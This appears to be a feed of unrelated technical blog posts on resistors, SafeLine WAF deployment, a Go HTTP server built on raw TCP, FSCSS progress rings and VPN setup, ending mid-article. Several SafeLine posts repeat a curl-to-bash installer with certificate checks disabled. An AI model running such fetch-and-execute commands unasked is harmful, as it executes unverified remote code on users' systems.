Here is a question that trips everyone up. Why is there a 47 Ω resistor and a 4.7 kΩ resistor, but no 50 Ω or 5 kΩ in the common bins? Why 33 Ω and 330 Ω instead of a round 30?

The answer is that resistor values are spaced geometrically, not arithmetically. Manufacturers do not pick random numbers; they use the E-series. An E12 resistor (±10% tolerance) has 12 values per decade, and each one is about 21% larger than the last — because a part can drift by up to 10% either way, the next value needs to start roughly where the previous one could have ended. The E12 values are:

10, 12, 15, 18, 22, 27, 33, 39, 47, 56, 68, 82 — then ×10 for the next decade (100, 120, 150 ...).

E24 (±5% tolerance) squeezes in 24 values per decade by halving that step:

10, 11, 12, 13, 15, 16, 18, 20, 22, 24, 27, 30, 33, 36, 39, 43, 47, 51, 56, 62, 68, 75, 82, 91.

That is why 47 Ω exists: it is the E12/E24 value nearest a "round" 50, and the geometric spacing guarantees that no matter which value you need, a standard part is close enough that tolerance absorbs the rest.

The practical takeaway: when a design calls for "about 5 kΩ," you reach for the standard 4.7 kΩ or 5.1 kΩ, not a custom 5.00 kΩ part. Standard values are cheaper, always in stock, and what every calculator and simulator assumes.

Power ratings and tolerance: the specs that actually burn

This is the section most thin guides skip — and the one that determines whether your circuit works next week or smells like burnt plastic tomorrow.

Wattage

Every resistor has a power rating in watts (W). The common through-hole sizes are 1/4 W (0.25 W), 1/2 W (0.5 W), 1 W, and up into the many-watt "power resistor" range. The rating is the maximum heat the part can shed into still air without overheating.

Three formulas tell you how much power a resistor is actually dissipating. They are all the same idea, just solved for what you happen to know:

P = I² × R · P = V² / R · P = V × I

Worked example. Put a 220 Ω resistor straight across a 5 V supply. Using P = V² / R: 25 / 220 ≈ 0.114 W. That is 114 mW, comfortably under a 1/4 W part's 250 mW limit. Safe.

Now try a 10 Ω resistor across the same 5 V rail: 25 / 10 = 2.5 W. A 1/4 W resistor would be dissipating ten times its rating — it would glow, then fail. You would need a proper power resistor here. The value was "fine" by Ohm's law; the wattage is what bit you.

Tolerance: when 5% is plenty and when it is not

Tolerance is how far the real resistance can drift from the labeled value. A ±5% 1 kΩ resistor is anywhere from 950 Ω to 1,050 Ω. A ±1% part stays between 990 Ω and 1,010 Ω.

For most jobs — limiting an LED, pulling up a pin, setting a gain roughly — 5% is perfectly fine and cheaper. Reach for 1% (or better) when the resistor sets a precision reference: a measurement divider, a filter frequency, an ADC scaling network. There, a 5% shift changes the answer you read.

Temperature coefficient (tempco)

The sixth band on a precision resistor is its temperature coefficient of resistance (TCR), given in ppm/°C — parts per million per degree Celsius. A 100 ppm/°C resistor changes by 100 Ω per million ohms (0.01%) for every 1 °C of temperature shift. Brown's 100 ppm is typical for cheap film; grey's 1 ppm is laboratory-grade. For anything indoors at room temperature, tempco barely matters; for a sensor you leave in the sun or a meter you trust, it is the difference between "close" and "wrong."

The derating curve (this is the part that saves parts)

A resistor's wattage rating is only valid at a specific ambient temperature — usually 70 °C. Above that, it cannot shed heat as well, so the safe power drops. The standard curve (per IEC 60115-1, and you will see the same shape on every major datasheet) runs at 100% up to 70 °C, then falls in a straight line to zero watts at 155 °C.

What this means in practice: a resistor rated 1/4 W at room temperature is only good for about half that inside a sealed enclosure that sits at 110 °C. If your circuit runs hot, either pick a bigger package or do the math at the derated value, not the headline number.

Types of resistors and when to reach for each

Not all resistors are the same inside, and the differences show up as noise, precision, and how they behave at temperature and frequency.

Carbon film vs. metal film. For blinking an LED or pulling a pin high, carbon film is all you need and costs a fraction of a cent. Choose metal film when the resistor is in the signal path you actually care about — a preamp, a voltage reference, an ADC front-end — because its lower noise and tighter tempco keep the signal clean.

Wirewound and high-power. When wattage is the problem, wirewound parts (often ceramic-bodied, sometimes bolted down) are the answer. The catch: that coil of wire acts like a tiny inductor, so avoid them in high-frequency RF paths where a "resistor" that also stores magnetic energy misbehaves.

Variable resistors. A potentiometer is a three-terminal divider you turn with a knob or screwdriver; a rheostat is the two-terminal version used as a variable resistance. Same component family, different wiring. Use them where a value needs to be set by a human, not baked into the board.

The math you will actually use

Three formulas cover almost everything. You already have Ohm's law and the power equations. Now the circuit configurations.

Resistors in series and parallel

Series (stacked end to end): resistances simply add.

R_total = R₁ + R₂ + ...

Two 10 kΩ resistors in series make 20 kΩ.

Parallel (side by side, sharing both nodes): the reciprocals add.

1 / R_total = 1/R₁ + 1/R₂ — or, for just two, R_total = (R₁ × R₂) / (R₁ + R₂)

Two 10 kΩ resistors in parallel make 5 kΩ. Parallel is how you "split the heat" too: two 1/4 W parts in parallel can handle what one cannot.

The voltage divider

Put two resistors in series across a supply and the point between them sits at a fraction of the voltage, set by the ratio:

V_out = V_in × (R₂ / (R₁ + R₂))

With 5 V in and two equal 10 kΩ resistors, the middle sits at 2.5 V. Make R₂ bigger than R₁ and the tap point rises; make it smaller and the tap falls. This is how you step a 5 V sensor signal down to the 3.3 V your microcontroller can read, how you set a comparator's trip point, and how you bias a transistor's base.

Calculating an LED current-limiting resistor

An LED is not a resistor; left directly across a supply it draws as much current as it can and burns out. You add a resistor to set the current. The formula:

R = (V_supply − V_forward) / I

where V_forward (Vf) is the LED's rated drop (about 2 V for red, 3.2 V for blue/white) and I is the current you want (typically 20 mA = 0.020 A, but 10 mA is fine for indicator use).

Example: a red LED (Vf ≈ 2 V) on a 5 V rail, wanting 15 mA: R = (5 − 2) / 0.015 = 200 Ω. The nearest common E12 value is 220 Ω, which gives (5−2)/220 ≈ 13.6 mA — a safe, bright-enough choice.

Common mistakes (and how to avoid a smoky resistor)

A short list of the errors that actually happen on the bench:

Reading red as orange (or vice versa). They sit next to each other in the mnemonic and look similar under warm light. Red is 2 / ×100; orange is 3 / ×1 k. One band off is a 10× value error. Use the calculator, or measure with a meter, when it matters.
Under-rating the power. A resistor can be the right value and still overheat. Always run P = V² / R and leave headroom — a 1/4 W part should rarely sit above ~125 mW in real use.
Forgetting the derating curve. That 1/4 W number is for 70 °C and below. In a hot enclosure, it is not 1/4 W anymore.
Floating input pins. A pull-up or pull-down resistor only does its job if it is actually connected to the pin and to the rail. A missing or misplaced resistor is why a button "sometimes" works.
Mixing up tolerance needs. Do not pay for 1% parts in a LED limiter, and do not cheap out with 5% parts in a measurement divider. Match the tolerance to the job.
Assuming SMD size = value. A 1206 is not "more ohms" than a 0402; it just handles more watts. The number on the body is the value; the package is the power.

This is a part of the full guide. The original on CircuitForge also includes interactive 3D component viewers, a live color-code calculator, embedded simulator circuits, and a full FAQ section — all of which are easier to use in a browser than in a blog post.

You can read the complete version with all the interactive tools here: (https://luvaai.in/learn/complete-resistor-guide)

Deploy SafeLine WAF on Ubuntu: A Step-by-Step Guide

Thu, 17 Sep 2026 04:20:16 +0000

Deploy SafeLine WAF on Ubuntu: A Step-by-Step Guide

Ubuntu is one of the most common hosts for self-hosted services, and SafeLine
runs happily on it. Here is a clean deployment path.

Prerequisites

A fresh or existing Ubuntu 20.04/22.04 server.
Docker installed (sudo apt install docker.io).
Network access so the installer can pull images.

Install SafeLine

bash -c "$(curl -fsSLk https://waf.chaitin.com/release/latest/manager.sh)" -- --en

The script detects the environment and brings up the SafeLine containers.

Access and configure

Open https://<server-ip>:9443 in your browser. Create the admin account, then add the site
you want to protect by setting its upstream to your real app (for example a service on
127.0.0.1:8080).

Place it in front of your app

Update your reverse proxy or DNS so traffic reaches SafeLine first. SafeLine's semantic-analysis
engine inspects each request and forwards clean traffic to your upstream, blocking SQL
injection, XSS, and automated abuse.

Hardening tips

Put the dashboard behind a strong admin password and, ideally, an allowlisted IP.
Set container restart policies.
Watch the dashboard's logs for the first days to tune any edge cases.

FAQ

Does it work with UFW/iptables?

Yes; just ensure the SafeLine listener port is reachable.

Minimum specs?

1 CPU, 1 GB RAM, 5 GB disk.

Free?

The Community Edition is free for 10 apps / 800 QPS.

Wrap Up

If you want a self-hosted WAF you fully control, SafeLine is worth a look. It sits in
front of your existing stack as a container, uses a semantic-analysis engine to catch SQL
injection, XSS, and bot abuse with very low false positives, and the Community Edition is
free.

Official docs: https://docs.waf.chaitin.com/en/home
GitHub: https://github.com/chaitin/SafeLine
Live demo: https://demo.waf.chaitin.com:9443/statistics

Deploy it in minutes:

bash -c "$(curl -fsSLk https://waf.chaitin.com/release/latest/manager.sh)" -- --en

How to Install SafeLine WAF with Docker in 10 Minutes

Thu, 17 Sep 2026 04:16:13 +0000

How to Install SafeLine WAF with Docker in 10 Minutes

SafeLine is designed to run as a container, which makes Docker the natural
deployment path. This walkthrough gets you from zero to a working reverse-proxy WAF.

What you need

A Linux host (VM or bare metal) with Docker installed.
At least 1 CPU, 1 GB RAM, 5 GB free disk.
A service you want to protect (e.g., a web app on port 8080).

Step 1: Install SafeLine

Run the official installer:

bash -c "$(curl -fsSLk https://waf.chaitin.com/release/latest/manager.sh)" -- --en

This pulls the SafeLine containers and starts the management console.

Step 2: Open the dashboard

Navigate to https://<your-host-ip>:9443. Complete the initial setup and create an admin
account. You can also explore the live demo first at
https://demo.waf.chaitin.com:9443/statistics.

Step 3: Add your upstream

In the console, register the site you want to protect and point its upstream at your real app
(e.g., http://127.0.0.1:8080). SafeLine now inspects traffic before proxying it.

Step 4: Route traffic

Point your domain or load balancer at the SafeLine listener instead of the app directly. SafeLine
blocks malicious requests (SQLi, XSS, bot abuse) using its semantic-analysis engine.

FAQ

Do I need docker-compose?

The installer manages containers for you; compose is optional for custom setups.

What if the container restarts?

SafeLine persists config; set a restart policy so it comes back automatically.

Is this production-ready?

Yes — the Community Edition is free and handles 10 apps at 800 QPS.

Wrap Up

Official docs: https://docs.waf.chaitin.com/en/home
GitHub: https://github.com/chaitin/SafeLine
Live demo: https://demo.waf.chaitin.com:9443/statistics

Deploy it in minutes:

bash -c "$(curl -fsSLk https://waf.chaitin.com/release/latest/manager.sh)" -- --en

Building an HTTP Server From Scratch using TCP.

Tue, 15 Sep 2026 20:00:16 +0000

HTTP is something I interact with every single day, whether I am fetching data on the frontend or building backend APIs. But for a long time, if you had asked me how it actually worked under the hood, I wouldn't have had a good answer. I always treated HTTP like this intimidating, hyper-complex black box that would be miserable to understand, let alone rebuild from scratch. Once I actually dug into the internals, though, I realized the core mechanics are surprisingly straightforward.

I am using Go for this project, but the concepts are entirely language-agnostic. You can follow along in C, Rust, Python, Node, or whatever language you like; as long as it can open a network socket (sorry, HTML and CSS won't cut it here).

To understand HTTP, we first have to talk about TCP/IP, because HTTP is just a text-protocol riding on top of TCP/IP stack.

The Internet Protocol (IP) has one basic job: move raw data from Machine A to Machine B across the world. But it doesn't dump a massive file across the wire all at once. If you download a 10 GB file, IP chops that data into tiny pieces called packets, usually around 1,500 bytes each. It does this because network hardware has physical transmission limits, routers need to share bandwidth fairly among thousands of users, and resending one dropped 1.5 KB packet over flaky Wi-Fi is painless compared to re-downloading an entire 10 GB stream.

Every device on the internet gets an IP address so these packets know where to go. When you want to visit google.com, your computer doesn't magically know Google's physical server address right away. It first asks a DNS server to translate google.com into an actual IP address, like 142.250.190.46. Once your machine has that destination IP, it stamps its own IP address into the packet header so Google knows where to send the reply, and fires the packets into the wild.

The catch is that IP is completely "best-effort." It launches packets into the network and immediately stops caring. If a router gets overloaded and drops your packet, or if packets take different routes and arrive completely out of order, IP won't fix it.

That is why we need TCP (Transmission Control Protocol).

TCP sits right on top of IP to turn that chaotic packet delivery into a reliable stream. It tracks every byte with sequence numbers so out-of-order data gets assembled correctly. If a packet goes missing, TCP notices and asks the sender to retransmit it. It also introduces the concept of ports; so when data finally arrives at a computer's IP address, the operating system knows whether to hand those bytes to your web server on port 80 or your database on port 5432.

So now TCP has solved our biggest headache. We have a solid, reliable pipe open between our client and our server. You throw bytes into one end, and they pop out the other end in the exact right order without getting lost.

Problem solved, right? Not even close.

Because while TCP is great at moving bytes from one place to another reliably, it is completely blind to what those bytes actually mean. It treats everything as one never-ending, continuous river of data (a raw byte stream). If your browser sends a request to load a profile picture, and immediately sends another request for a stylesheet, TCP just mashes all those bytes together in a single stream.

Your server is now sitting there staring at a raw chunk of bytes, completely clueless:

Where does the first request end and the second one begin?
Is the client trying to download a file, submit a form, or delete a record?
Is this data plain text, an image, or JSON?
If something goes wrong on the server, how do we tell the client?

If we didn't have a standard rulebook, every single developer would invent their own chaotic format. You'd write your own custom protocol where maybe you put an exclamation mark at the end of a message, while someone else uses a random binary flag. Your backend wouldn't be able to talk to any standard browser because neither speaks the same language.

This is where HTTP (Hypertext Transfer Protocol) steps in.

HTTP is nothing more than an agreed-upon rulebook. If TCP is a telephone line connecting two people, HTTP is the grammar they agree to speak so they understand each other.

At its core, HTTP turns that blind stream of TCP bytes into predictable, structured messages. In HTTP/1.1, it does this entirely using plain text:

First, it forces the client to state its intent right on the very first line: like GET /index.html HTTP/1.1. Now the server instantly knows the action (GET), the target (/index.html), and the protocol version.

Next, it uses standard key-value headers separated by clean line breaks; specifically \r\n (CRLF: Carriage Return + Line Feed). Why two characters instead of just \n? Because early internet protocols inherited typewriter conventions from telegraph and terminal days, and now we are stuck with it forever.

Then, it solves the boundary problem with an empty line (\r\n\r\n), which screams to the parser: "Hey, the headers are done! Whatever comes next is the actual body payload."

Finally, the server replies with a standardized response that includes a status code like 200 OK if everything went well, or 404 Not Found if you asked for something that doesn't exist.

That's all HTTP really is. It's not magic, and it's not an intimidating engine. It's just a structured text format running over a raw TCP socket. Once you realize it's just plain text over a byte stream, building one yourself becomes a whole lot less scary.

What Does Raw HTTP Actually Look Like?

Before we write the code to parse requests and generate responses, let's look at the exact text format traveling across the wire.

1. The HTTP Request Format

When a client wants something from our server, it sends a plain-text payload formatted like this:

POST /users HTTP/1.1
Host: localhost:8080
User-Agent: curl/8.0.0
Accept: */*
Content-Type: application/json
Content-Length: 26

{"name": "Dev", "age": 22}

Line 1 (Request Line): Action (POST), path (/users), and version (HTTP/1.1), terminated by \r\n.
Lines 2–6 (Headers): Key-value metadata lines, each terminated by \r\n.
Line 7 (Empty Line): A single blank \r\n with no characters. This tells our server: "The headers are done."
Line 8 (Body Payload): Exactly 26 raw bytes of data matching the Content-Length header.

2. The HTTP Response Format

Once our server finishes processing, it writes back an answer formatted like this:

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 35

{"message": "user list endpoint"}

Line 1 (Status Line): Version (HTTP/1.1), status number (200), and status message (OK), followed by \r\n.
Lines 2–3 (Headers): Key-value details about what we are sending back, terminated by \r\n.
Line 4 (Empty Line): A single blank \r\n to mark the end of response headers.
Line 5 (Body Payload): Exactly 35 raw bytes of data sent down the wire.

Now that we know the format for both directions, let's build the server to handle it.

Building an HTTP Server from Raw TCP

I like to break the implementation down into four distinct steps:

Initialize a TCP socket and bind it to a local port.
Accept incoming client connections in a loop.
Read raw bytes from the socket and parse the HTTP request.
Construct an HTTP response and write those bytes back over the wire.

1. Setting Up the TCP Listener

In any programming language, listening for network traffic comes down to a few basic steps. You ask the operating system to reserve a port (like 8080), and then you wait for someone to connect.

package main

import (
"fmt"
"log"
"net"
)

func main() {
// Ask the OS to open port 8080 and listen for incoming traffic
listener, err := net.Listen("tcp", ":8080")
if err != nil {
log.Fatal("[SERVER] Failed to bind to port: ", err)
}
// Make sure we release the port when the server stops
defer listener.Close()

fmt.Println("[SERVER] Listening on port :8080...")

// Keep the server running in an infinite loop to accept other connections
for {
// Our program pauses right here until a client connects
conn, err := listener.Accept()
if err != nil {
fmt.Printf("[SERVER] Failed to accept connection: %v\n", err)
continue
}

// Pass the connection to a background worker so the loop can keep spinning
go handleConnection(conn)
}
}

What is happening here?

Binding: The operating system locks port 8080 for us. From now on, any data sent to this port comes straight to our app.
Accepting: Our program pauses and waits. When a client finally connects, the operating system wakes us up and hands us a connection object (conn).
Concurrency: If we try to process this connection right here in the main loop, our server will freeze for everyone else. So, we hand the connection off to run in the background. Go uses goroutines, Python might use threads, and Node uses its event loop. The idea is exactly the same: move the work out of the way so we can instantly wait for the next person.

2. The Request Lifecycle (`handleConnection`)

Before we dive into the details of parsing, let's look at the whole journey of a single connection.

Our handleConnection function does four things in order: it wraps the raw socket to read from it easily, parses the incoming text into a request we can understand, checks the URL path to see what the user wants, and sends back a text response.

func handleConnection(conn net.Conn) {
// Always close the connection when we are completely done
defer conn.Close()
clientAddr := conn.RemoteAddr().String()

// Wrap the raw connection in our custom stream reader
reader := stream.NewReader(conn)

// Try to make sense of the incoming bytes
req, err := request.Parse(reader)
if err != nil {
// If they sent garbage data, reply with a 400 Bad Request
res := response.New()
res.SetStatus(400)
res.SetBody([]byte("400 Bad Request"), "text/plain")
_ = res.Send(conn)
return
}

// Prepare a blank response to fill out
res := response.New()

// Basic routing: look at the path and decide what to send back
switch req.Path {
case "/":
res.SetStatus(200)
res.SetBody([]byte("Welcome to my scratch HTTP Server!"), "text/plain")
case "/users":
res.SetStatus(200)
res.SetBody([]byte(`{"message": "user list endpoint"}`), "application/json")
default:
// If we don't recognize the path, send a 404
res.SetStatus(404)
res.SetBody([]byte("404 Page Not Found"), "text/plain")
}

// Push the final formatted text back through the socket
_ = res.Send(conn)
}

We break this workload into three clear pieces:

stream: Safely reads a continuous flow of bytes from the connection.
request: Turns those raw bytes into structured HTTP data (methods, paths, and headers).
response: Formats our answer into valid HTTP text and pushes it back to the user.

3. Reading the Raw Byte-Stream (`pkg/stream`)

The network doesn't understand neat lines of text; it just gives us raw chunks of bytes. If we try to read one byte at a time directly from the network just to find a newline character, it is incredibly slow.

The universal fix for this is buffering. Instead of reading byte by byte, we pull a large chunk of data (like 4KB) into our application's memory all at once. Once it is safely in our memory, we can quickly scan through it to find our lines.

package stream

import (
"bufio"
"io"
"strings"
)

type Reader struct {
buffered *bufio.Reader
}

func NewReader(r io.Reader) *Reader {
return &Reader{
// Pull data in large chunks to save time and system resources
buffered: bufio.NewReader(r),
}
}

func (r *Reader) ReadLine() (string, error) {
// Read bytes until we hit a newline character
lineBytes, err := r.buffered.ReadBytes('\n')
// Clean off the trailing \r\n before handing the string back
return strings.TrimRight(string(lineBytes), "\r\n"), err
}

func (r *Reader) ReadExact(count int) ([]byte, error) {
// Create an empty chunk of memory of exactly the size we need
buf := make([]byte, count)
// Block and fill the memory completely before moving on
_, err := io.ReadFull(r.buffered, buf)
return buf, err
}

We need two different ways to read:

Line-by-line: HTTP metadata (like headers) is separated by line breaks. We read line-by-line until we hit the empty line that tells us the headers are done.
Exact byte counts: The actual body of a request (like an uploaded image) is just raw data. It might have random line breaks in it. So, once the headers are done, we stop reading lines and instead read an exact number of bytes based on the Content-Length header.

4. Parsing the Request (`pkg/request`)

Now we write the parser to read that incoming text stream into a structured Go struct:

package request

import (
"fmt"
"strconv"
"strings"
"github.com/devxdh/http-from-scratch/pkg/stream"
)

type Request struct {
Method  string
Path    string
Version string
Headers map[string]string
Body    []byte
}

func Parse(reader *stream.Reader) (*Request, error) {
req := &Request{Headers: make(map[string]string)}

// 1. Grab the very first line (e.g., "GET / HTTP/1.1")
line, err := reader.ReadLine()
if err != nil { return nil, err }

// Break the line into chunks using spaces
fLineArr := strings.Split(line, " ")
if len(fLineArr) < 3 { return nil, fmt.Errorf("Malformed request line") }

// Assign Method, Path, and Version respectively
req.Method, req.Path, req.Version = fLineArr[0], fLineArr[1], fLineArr[2]

// 2. Start reading the headers line by line
for {
line, err := reader.ReadLine()
if err != nil { return nil, err }

// An empty line means the headers section is completely done
if line == "" { break } 

// Split at the first colon we see (e.g., "Host: localhost")
headerLine := strings.SplitN(line, ":", 2)
if len(headerLine) < 2 { continue }

// Lowercase the key so we can easily search for it later
key := strings.ToLower(strings.TrimSpace(headerLine[0]))
req.Headers[key] = strings.TrimSpace(headerLine[1])
}

// 3. If there is a body, figure out how long it is
if val, ok := req.Headers["content-length"]; ok {
contentLength, err := strconv.Atoi(val)
if err != nil {
return nil, fmt.Errorf("Invalid content-length: %s", val)
}
// Read that exact number of bytes directly into our request body
req.Body, err = reader.ReadExact(contentLength)
if err != nil {
return nil, fmt.Errorf("Failed to read body: %v", err)
}
}

return req, nil
}

I keep two rules in mind when parsing:

Case-Insensitivity: HTTP header names don't care about uppercase or lowercase. We convert them all to lowercase right away so we don't run into bugs later when searching for "Content-Length".
Splitting Headers: Some headers have colons in their values (like Host: localhost:8080). We only split on the very first colon we see, so we don't accidentally cut the data in half.

5. Writing the HTTP Response (`pkg/response`)

Sending an answer is doing the exact reverse of parsing. We build a block of text containing our Status Line, our Headers, and a mandatory empty line. Then we push that text, along with any body data, back through the connection.

package response

import (
"fmt"
"io"
"strings"
)

var StatusRegister = map[int]string{
200: "OK",
  400: "Bad Request",
  404: "Not Found",
}

type Response struct {
StatusCode int
StatusText string
Headers    map[string]string
Body       []byte
}

func New() *Response {
return &Response{
StatusCode: 200,
StatusText: StatusRegister[200],
Headers:    make(map[string]string),
}
}

func (res *Response) SetHeader(key, value string) {
res.Headers[key] = value
}

func (res *Response) SetBody(body []byte, contentType string) {
res.Body = body
// Only set a content type if we actually provided one
if contentType != "" {
res.SetHeader("Content-Type", contentType)
}
}

func (res *Response) SetStatus(code int) {
text, ok := StatusRegister[code]
if !ok {
text = "Unknown"
}
res.StatusCode = code
res.StatusText = text
}

func (res *Response) Send(w io.Writer) error {
// We use a builder to efficiently glue all our text together
var builder strings.Builder

// 1. Start with the Status Line
fmt.Fprintf(&builder, "HTTP/1.1 %d %s\r\n", res.StatusCode, res.StatusText)

// Automatically count bytes so the client knows when to stop reading
res.SetHeader("Content-Length", fmt.Sprintf("%d", len(res.Body)))

// 2. Add all the headers, making sure to use \r\n
for key, val := range res.Headers {
fmt.Fprintf(&builder, "%s: %s\r\n", key, val)
}

// 3. Add the blank line that tells the client headers are done
fmt.Fprint(&builder, "\r\n")

// Push the constructed text block to the socket
_, err := w.Write([]byte(builder.String()))
if err != nil { return err }

// 4. Finally, push the raw body payload (if we have one)
if len(res.Body) > 0 {
_, err = w.Write(res.Body)
}
return err
}

Why I build it this way:

Automatic Content-Length: We count the bytes of our body payload right before sending and set the Content-Length header ourselves. If we don't tell the client exactly how much data to expect, it might hang forever waiting for more.
Send in one go: We build the entire text block of headers in memory first, and then send it all at once. This keeps things fast and simple.

6. Testing the Server with `curl -v`

Now that every component is in place, we can start our server and test it using curl -v (verbose mode).

You can automate this using a simple Makefile:

.PHONY: start test-get test-users test-post test-404

start:
go run ./main.go

test-get:
curl -v http://localhost:8080/

test-users:
curl -v http://localhost:8080/users

test-post:
curl -v -X POST http://localhost:8080/users \
-H "Content-Type: text/plain" \
-d "This is super horsey TCP/IP payload."

test-404:
curl -v http://localhost:8080/non-existent-path

Run make start in one terminal, and make test-users in another. Here is what the raw TCP exchange looks like:

* Connected to localhost (127.0.0.1) port 8080
> GET /users HTTP/1.1
> Host: localhost:8080
> User-Agent: curl/8.0.0
> Accept: */*
> 
< HTTP/1.1 200 OK
< Content-Type: application/json
< Content-Length: 35
< 
{"message": "user list endpoint"}

Lines starting with > are the raw plain-text HTTP request bytes sent by curl over the TCP socket.
The empty line right after Accept: */* is the \r\n\r\n boundary our parser scanned for.
Lines starting with < are the raw response bytes constructed by our response.Send function and pushed down the socket.

Because HTTP is fundamentally plain text over TCP, you could even talk to this server by sending raw text through Netcat (nc localhost 8080).

Source Code: http-from-tcp

Building an HTTP server from scratch demystified a lot of networking magic. Hope you got some value form this blog :).

Self-Hosted WAF Alternatives to Cloudflare: Where SafeLine Fits In

Mon, 14 Sep 2026 11:06:56 +0000

A lot of teams start their "Cloudflare alternative" search because they want more control, lower or predictable costs, or to keep traffic and logs on their own infrastructure. The good news: you don't have to stay locked into a cloud WAF. Self-hosted Web Application Firewalls put the protection layer on servers you own. Here we'll look at what to evaluate and where SafeLine WAF fits.

What "self-hosted" actually buys you

Running your own WAF means the inspection engine, rules, and logs all live on your infrastructure. That translates into:

Data sovereignty — request and attack data never leaves your network.
Predictable cost — you pay for your own compute, not per-request fees that balloon with traffic.
Full control — change rules via API or UI, on your own schedule.

What to compare before you switch

When evaluating a self-hosted option, look at:

Deployment effort — a Docker Compose deployment beats compiling from source.
Detection quality — can it catch SQL injection, command injection, and known CVE probing without drowning you in false positives?
Rule flexibility — can you write your own rules for app-specific threats?
Management at scale — can one console manage many nodes across datacenters?

Where SafeLine fits

SafeLine WAF checks those boxes for teams that want a free, self-hosted starting point:

Free Community Edition — up to 10 apps and 800 QPS, no per-request billing.
Easy install — one command, English supported:

bash -c "$(curl -fsSLk https://waf.chaitin.com/release/latest/manager.sh)" -- --en

Central management — one portal oversees multiple nodes across datacenters.
Open API — automate policy and site management instead of clicking through a UI.
Detailed attack logs — full request, matched rule, and client fingerprint help you triage fast.

It's a practical middle ground: more control than a cloud WAF, far less upkeep than building your own rules engine from scratch.

Is a self-hosted WAF right for you?

If you already run servers and have someone comfortable with Docker and Nginx, a self-hosted WAF is very approachable — one node for a few sites is nearly plug-and-play. If your team lacks infrastructure engineering capacity and you're running a complex multi-node cluster, a managed service may be the better fit until your ops maturity catches up.

FAQ

What's the catch with a free self-hosted WAF?

You own the operations. The software is free, but you supply the server and the monitoring.

Can I keep my current reverse proxy?

Yes. SafeLine runs in front as a reverse proxy, so Nginx or your existing setup can stay behind it.

How many sites can the free edition protect?

The Community Edition covers up to 10 applications at 800 QPS.

Does it work across multiple datacenters?

Yes — a single portal can manage nodes spread across different datacenters.

Ready to keep your edge protection on infrastructure you control?

⭐ SafeLine WAF on GitHub — give it a star if you find it useful
🔗 Official Docs — installation guide, configuration, and API reference
🧪 Live Demo — see the dashboard in action (no login required)

Building Circular UI with circle-progress.fscss (No JavaScript)

Sun, 13 Sep 2026 23:02:30 +0000

Circular progress, pie charts, and step rings usually mean SVG path math or a chart library.
circle-progress.fscss does it with pure CSS — conic-gradient, masks, and FSCSS @define helpers.

Repo: Figsh/Circle-progress.fscss

What you get

Component	Define
Progress ring	`@circle-progress`
Solid pie	`@circle-pie`
Multi-slice pie	`@circle-pie-multi`
Steps ring	`@circle-steps`
Nested rings	Compose by nesting elements

All driven by CSS variables. Change --progress-value and the arc follows.

Setup

Option A — runtime (quick / prototyping)

<script src="https://cdn.jsdelivr.net/npm/fscss@1.2.1/runtime.min.js" defer></script>

Option B — CLI compile (production)
It works well with FSCSS vscode extention

npm install -g fscss
fscss styles.fscss styles.css

Import the module:

@import((*) from circle-progress)

@progress-root()
@circle-progress(.progress-circle)

Full sample page:
samples/example.html

1. Progress ring

<div class="progress-circle p72">72%</div>

.p72 { @progress-range(72) }

Under the hood: a conic-gradient draws the arc, a radial mask cuts the hole, and a small tip marker rotates with the value.

2. Color override

.p41 {
  @progress-range(41)
  --progress-color-arc: #4d9fff;
  --progress-color-glow: rgba(77, 159, 255, 0.45);
}

Same component — only tokens change.

.p88 {
  @progress-range(88)
  --progress-color-arc: #ffb830;
  --progress-color-glow: rgba(255, 184, 48, 0.4);
}

3. Pie slice

<div class="circle-pie p30">30%</div>

@circle-pie(.circle-pie)
.p30 { @progress-range(30) --progress-color-arc: #ff5070; }

No mask — the conic fill is the whole disk.

4. Multi pie

<div class="circle-pie-multi pie-a"></div>

@circle-pie-multi(.circle-pie-multi)

.pie-a {
  --pie-a: 30;
  --pie-b: 25;
  --pie-c: 20;
  --pie-d: 15;
}

Four slices from four percentage tokens.

5. Steps ring

<div class="circle-steps steps-5">5/8</div>

@circle-steps(.circle-steps)
.steps-5 { @steps-done(5) @steps-total(8) }

.steps-3 {
  @steps-done(3)
  @steps-total(6)
  --progress-color-arc: #9d7eff;
}

6. Nested rings

<div class="progress-circle p72" style="--progress-size:200px">
  <div class="progress-circle p41"
       style="--progress-size:120px;--progress-stroke:10px">
    41
  </div>
</div>

Same define, different size/stroke on the child — composition without new APIs.

Mental model

Tokens — @progress-root() sets size, stroke, colors, value.
Shape — one @define per pattern (ring, pie, steps).
Value — @progress-range(n) or --progress-value.
Theme — override --progress-color-arc / --progress-color-glow.

No SVG paths. No chart library. Change a variable, the circle updates.

When to use runtime vs CLI

Use case	Prefer
Demos, CodePen, quick tests	CDN runtime
Production, static deploy	CLI compile to plain CSS

Runtime keeps FSCSS syntax in the page. CLI ships zero-runtime CSS.

Try it

Clone or copy from the repo and open the sample:

github.com/Figsh/Circle-progress.fscss
Sample: samples/example.html

Swap values, nest rings, add a pie — same module, different tokens.

Built with FSCSS @define · pure CSS circular UI

VPN Client, Profile, and Service: Three Roles to Check During Setup

Sun, 13 Sep 2026 09:55:01 +0000

A working VPN setup involves software, connection instructions, and a service account. This guide separates those responsibilities so that an import problem is not confused with a connection-state or profile-management question.

By Mohammad Hesameddin Montazerilisar. This article is adapted from the author’s original Lisar Connect article, first published July 8, 2026 and updated September 11, 2026. The author writes technical guidance for Lisar Connect. AI assisted the editing and presentation of this human-authored source.

Illustration of a client connection-status dashboard, not a screenshot of the current Lisar UI or a measured test.

The client runs the connection

The VPN client is the program on your device that establishes and maintains the connection: the software with the connect control, status indicator, and prompts. In an OpenVPN Connect setup, it reads the imported OpenVPN profile and runs the connection on the device.

Client, profile, and service describe different roles. The client runs the connection, the profile supplies its connection settings, and the service manages the account, profiles, and plan. Follow the current setup guide for your device and profile when choosing the software and settings to use.

This distinction matters before troubleshooting begins. A client can be installed without the intended profile being present. A profile can be imported without a connection being established. Check the stage that has actually completed instead of treating the app's presence as proof that every part is ready.

The profile supplies the connection instructions

The client needs to be told what connection to run, and that is the profile's job. In the documented OpenVPN Connect flow, the profile arrives as a .ovpn file carrying the setup information for that particular connection. Obtain it from the approved source for your own assignment and follow the guide for the intended device.

The file-import sequence brings the parts together: obtain the current .ovpn file, open OpenVPN Connect, choose Upload File, import and save the profile, and connect. The exact screens depend on the client version and device; the current supported guide takes precedence over remembered button wording.

Because the file carries profile-specific setup information, treat it as sensitive material. Do not paste its contents into a support ticket or public discussion. Do not pass it through casual chats or shared folders. When a new device needs setup, use the approved download and assignment process rather than borrowing another person's file.

The service manages accounts, profiles, and plans

